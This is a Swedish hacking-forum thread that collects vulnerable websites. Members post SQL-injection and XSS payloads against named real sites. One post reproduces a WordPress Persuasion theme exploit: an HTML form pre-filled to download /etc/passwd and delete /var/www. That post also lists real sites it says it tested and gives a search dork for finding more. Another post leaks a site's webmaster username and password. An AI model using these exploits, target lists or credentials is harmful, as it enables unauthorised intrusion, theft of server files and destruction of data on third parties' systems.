Samling av sidor med säkerhetsbrister - Del 2

2013-12-22, 01:49 #**3949**

Medlem

Reg: Jun 2012

Inlägg: 785

http://www.muevete.ch/person.php?id=15%27

Citat:

Warning [2] mysql_fetch_assoc() expects parameter 1 to be resource, boolean given
in /home/muevete/public_html/person.php on line 10

Orkar inte mer x) går för segt skannar via irc botar ...

Citera

2013-12-24, 10:32 #**3950**

Medlem

Reg: Aug 2012

Inlägg: 474

Jag tittade in på http://www.exploit-db.com/ när jag drack kaffe och hittade en ny exploit till ett wordpress tema som heter Persuasion.

"Arbitrary File Download and File Deletion Exploit"

Som vanligt när wp drabbas av en säkerhetsbrist(även om det bara är ett tema) så blir många drabbade då dom har väldigt många användare.

Exploit:

Kod:

http://www.exploit-db.com/exploits/30443/

Exploit Title: Persuasion Wordpress Theme - Arbitrary File Download and File Deletion Exploit
 Date: 19 December 2013
 Exploit Author: Interference Security
 Vendor Homepage: http://mysitemyway.com/
 Software Link: http://mysitemyway.com/theme/persuasion-wordpress-theme/
 Version: Tested on 2.0 and 2.3
 
Details:
The vulnerable file is located at http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php
In exploit code, file name in first text box should be readable on the vulnerable server, then the vulnerable code allows it to be downloaded from the server. And the second textbox accepts a directory path. If it is writeable then vulnerable code will delete its contents.
An attacker can download readable files from the server and also can delete contents of writeable directories.
 
 
Vulnerable code:
<?php
$file = $_POST['_mysite_download_skin'];
 
if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.basename($file));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    ob_clean();
    flush();
    readfile($file);
 
    rrmdir($_POST['_mysite_delete_skin_zip']);
    exit;
}
 
 
function rrmdir($dir) {
  if (is_dir($dir)) {
    $objects = scandir($dir);
    foreach ($objects as $object) {
      if ($object != "." && $object != "..") {
        if (filetype($dir."/".$object) == "dir") rrmdir($dir."/".$object); else unlink($dir."/".$object);
      }
    }
    reset($objects);
    rmdir($dir);
  }
}
 
?>
 
Exploit Code:
<html>
<body>
<form action="http://vulnerable-site.com/wp-content/themes/persuasion/lib/scripts/dl-skin.php" method="post">
Existing file's name:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>
Directory to be removed:<input type="text" name="_mysite_delete_skin_zip" value="/var/www"><font color=red>Use with caution it will delete the files and directories if it is writeable</font><br>
<input type="submit">
</form>
</body>
</html>
 
 
-- 
Interference Security

Några sidor som är sårbara(testade att läsa passwd):

Kod:

http://ligula[dot]se/wp-content/themes/persuasion/lib/scripts/dl-skin.php
http://lagare[dot]nu/wp-content/themes/persuasion/lib/scripts/dl-skin.php

Dork:

Kod:

inurl:/themes/persuasion/

G0d Ju1

Citera

2013-12-25, 12:58 #**3951**

Medlem

Reg: Jun 2012

Inlägg: 785

http://fifteenminutesoffame.me/ xss i sidan, funkar med <script>alert("god jul");</script> osv
Förklarat på http://code.devote.se/blogs/27795772/xss-found-on-httpfifteenminutesoffameme.htm

Citera

2013-12-27, 00:59 #**3952**

Medlem

Reg: Jul 2012

Inlägg: 1 828

Satt och rensade lite filer och hittade några sidor från något experiment för nått år sedan.
Inget jätteintressant men någon kanske finner det kul.

(alla parter är kontaktade och försökt komma i kontakt med)

http://expressen.se/sok/?q="; alert(1); //
http://www.svtplay.se/sok?q=test"; alert(1); //
http://oppetarkiv.se/sok/?q=test"; alert(1); //
http://www.howtogeek.com/search/?q=x" <script>alert(1)</script>

Citera

2013-12-27, 01:03 #**3953**

Medlem

Reg: Dec 2011

Inlägg: 5 963

Citat:

Ursprungligen postat av key33

Jag tittade in på http://www.exploit-db.com/ när jag drack kaffe och hittade en ny exploit till ett wordpress tema som heter Persuasion.

Kaffe är gott.

Persuasion är ju det temat som offensive-security använder. Tydligen så har OS startat ett bug bounty program bara för det: http://www.offensive-security.com/offsec/bug-bounty-program-insights/

Kudos

Citera

2013-12-27, 13:31 #**3954**

Medlem

Reg: Dec 2013

Inlägg: 74

snapchat har problem med säkerhet, nu kan man se personer som har valt att vara anonyma deras mail och allt. en grupp hackers har publicerat en guide. dock fattar jag inte hur det går till.

http://gibsonsec.org/snapchat/fulldisclosure/

Citera

2013-12-27, 15:51 #**3955**

Medlem

Reg: Jan 2012

Inlägg: 3 549

Citat:

Ursprungligen postat av jagluraalla19

snapchat har problem med säkerhet, nu kan man se personer som har valt att vara anonyma deras mail och allt. en grupp hackers har publicerat en guide. dock fattar jag inte hur det går till. http://gibsonsec.org/snapchat/fulldisclosure/

Men du som har hållit på i flera månader borde väl förstå det där utan problem

Citera

2013-12-27, 16:08 #**3956**

Medlem

Reg: Apr 2009

Inlägg: 200

Citat:

Ursprungligen postat av jagluraalla19

snapchat har problem med säkerhet, nu kan man se personer som har valt att vara anonyma deras mail och allt. en grupp hackers har publicerat en guide. dock fattar jag inte hur det går till.

http://gibsonsec.org/snapchat/fulldisclosure/

Verkar som man drar nytta av deras backend rest API. Känns ganska förvånande hur dem inte har fixat detta för länge sen..

Citera

2013-12-27, 16:46 #**3957**

Medlem

Reg: Dec 2013

Inlägg: 74

Citat:

Ursprungligen postat av SpecialEdition

Men du som har hållit på i flera månader borde väl förstå det där utan problem

just det här är nytt!

Citera

2013-12-27, 16:58 #**3958**

Medlem

Reg: Dec 2011

Inlägg: 5 963

Citat:

Ursprungligen postat av jagluraalla19

just det här är nytt!

Det är ett PoC(Proof Of Concept) och allting är ingen direkt färdig exploit per sé. Vad gibsonsec försöker säga egentligen är att Snapchat's API lider utav integritetsläckor. Inte bara det, utan de visar även att det finns flertalet exploit att bygga(DoS bland annat). Det viktigaste är att man kan få reda på en användares telefonnummer.

Alla PoC är skrivna i Python och de står längst upp i PoC'en hur man använder skripten.

Citera

2014-01-09, 15:47 #**3959**

Medlem

Reg: Aug 2013

Inlägg: 84

Tänkte tipsa om den svenska sajten 402m.se.
Följande länk är sårbar för injektioner. Enkelt att komma åt databasen. Webmaster-kontot har FYI användarnamnet "Webmaster" och lösenord "test".

http://www.402m.se/senaste/sida.php?id=77

Citera

2014-01-12, 03:46 #**3960**

Medlem

Reg: Feb 2013

Inlägg: 59

Citat:

Ursprungligen postat av Provocerat

Tänkte tipsa om den svenska sajten 402m.se.
Följande länk är sårbar för injektioner. Enkelt att komma åt databasen. Webmaster-kontot har FYI användarnamnet "Webmaster" och lösenord "test".

http://www.402m.se/senaste/sida.php?id=77

Gammalt forum. Det är skumt att det fortfarande används...
Annars att förvara lösenord i klartext är ju kanske inte den bästa lösningen heller

Slangen slang är ett av kontona :P

Citera

Samling av sidor med säkerhetsbrister - Del 2

Skapa ett konto eller logga in för att kommentera

Skapa ett konto

Logga in